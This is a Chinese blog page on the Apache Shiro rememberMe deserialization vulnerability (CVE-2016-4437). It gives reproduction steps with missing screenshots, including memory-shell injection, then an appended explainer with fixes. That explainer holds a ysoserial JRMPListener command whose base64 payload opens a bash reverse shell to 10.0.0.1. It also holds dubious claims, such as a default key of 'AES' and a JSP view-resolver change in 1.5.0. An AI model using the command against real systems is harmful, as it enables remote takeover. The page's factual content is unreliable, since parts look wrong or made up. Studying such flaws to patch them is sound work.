Shiro反序列化

一、介绍

Shiro是一套用于执行认证、授权、加密和会话管理的Java安全框架。

二、漏洞原理

AES加密的密钥key被硬编码在代码里,攻击者就可以构造一个恶意的对象,并对其序列化,AES加密,base64编码,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

三、复现

CVE-2016-4437

启动环境
在这里插入图片描述
访问
在这里插入图片描述爆破密钥
在这里插入图片描述爆破利用链及回显
在这里插入图片描述命令执行
在这里插入图片描述注入内存马
在这里插入图片描述用哥斯拉连接即可

### Apache Shiro 反序列化漏洞原理 Apache Shiro 是一个功能强大的 Java 安全框架,用于处理身份验证、授权、加密以及会话管理等功能。然而,在某些版本中存在反序列化漏洞,这可能导致远程代码执行 (RCE) 攻击。 #### 漏洞产生的原因 Shiro 的 `rememberMe` 功能允许用户通过保存的 cookie 自动登录系统。此功能依赖于序列化和反序列化机制存储用户的会话信息。如果攻击者能够控制输入并提供恶意序列化的对象,则可能触发反序列化漏洞[^1]。具体来说: - **默认密钥问题**:Shiro 使用了一个固定的默认密钥 (` rememberMe` 密钥为 `"AES"` 或其他硬编码值),使得攻击者可以轻松预测密钥并伪造有效的会话令牌。 - **不安全反序列化实现**:在早期版本中,Shiro 对传入的数据未进行充分校验,从而允许攻击者注入恶意的对象结构。 --- ### 修复方案 为了有效缓解这一安全隐患,以下是两种推荐的修复措施: #### 方案一:升级到最新版本 确保使用的 Shiro 版本是最新的稳定版(如当前最新的 1.7.x)。新版本修复了已知的安全缺陷,并引入了许多增强的安全特性。例如,自 1.5.0 起,默认情况下禁用了基于 JSP 的视图解析器,减少了潜在风险。 #### 方案二:修改 RememberMe 默认密钥 即使升级到了较新的版本,仍需关注 `rememberMe` 功能中的密钥安全性。可以通过以下方式加强防护: - 配置唯一的随机密钥替代默认值; - 将密钥设置为复杂字符串,并严格保密以防泄露[^5]。 示例配置如下所示: ```properties securityManager.rememberMeManager.cipherKey=Base64EncodedRandomStringHere== ``` 此外,还可以启用 HTTPS 加密传输层协议保护敏感数据免受中间人劫持攻击的影响。 --- ### 实战案例分析 在网络渗透测试场景下,利用此类漏洞通常涉及以下几个环节[^2]: 1. 找寻目标服务端暴露的服务接口或者 URL 地址; 2. 利用工具生成特定 payload 并发送给服务器; 3. 成功获取 shell 后进一步探索内部网络环境。 一种常见的利用手法是借助第三方库 YSOserial 构建恶意负载并通过 JRMPListener 工具监听连接请求完成交互过程[^4]: ```bash java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8xMDk5IDA+JjE=}|{base64,-d}|{bash,-i}" ``` 上述命令创建了一个等待客户端连接的 RMI Server ,一旦受害主机尝试访问它就会被执行指定的操作指令。 --- ### 总结 综上所述,针对 Apache Shiro 中存在的反序列化漏洞应采取综合手段加以防范。除了及时更新软件外还需重视个性化参数调整工作比如更改默认 key 等操作以提高整体系统的健壮性和抗攻击能力。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值